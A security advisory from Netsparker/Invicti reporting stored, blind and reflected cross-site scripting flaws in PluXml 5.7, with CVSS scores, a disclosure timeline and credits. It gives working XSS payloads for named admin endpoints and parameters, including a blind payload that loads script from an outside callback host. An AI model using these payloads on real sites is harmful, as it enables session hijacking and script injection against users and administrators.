Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in PluXml 5.7
Affected Software: PluXml
Affected Versions: 5.7
Homepage: https://www.pluxml.org/
Vulnerability: Reflected, Blind and Stored Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 

  • CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 
  • CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Invicti Advisory Reference: NS-18-054

Technical Details
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Stored Cross-site Scripting

URL : http://{DOMAIN}/{PATH-OF-PLUXML}core/admin/article.php
Parameter Type : POST
Parameter Name : tags
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007B0F)</scRipt>

Blind Cross-site Scripting

URL : http://{DOMAIN}/{PATH-OF-PLUXML}/core/admin/article.php
Parameter Type : POST
Parameter Name : date_update_month
Attack Pattern: '"--></style></scRipt><scRipt src="//7fv0dgpzuxo2-rly412khh-ldsddpplyaom9uiuphg0&#46;r87&#46;me"></scRipt>

Reflected Cross-site Scripting

URL: http://{DOMAIN}/{PATH-OF-PLUXML}/?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String  
Parameter Name : Query Based  
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>  

URL :  http://{DOMAIN}/{PATH-OF-PLUXML}/index.php?'"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>  
Parameter Type : Query String  
Parameter Name : Query Based  
Attack Pattern : '"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-PLUXML}/core/admin/article.php
Parameter Type : POST
Parameter Name : artID
Attack Pattern : '"--></style></scRipt><scRipt>alert(0x007B0F)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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31st December 2018- First Contact Attempt
4th Febuary 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.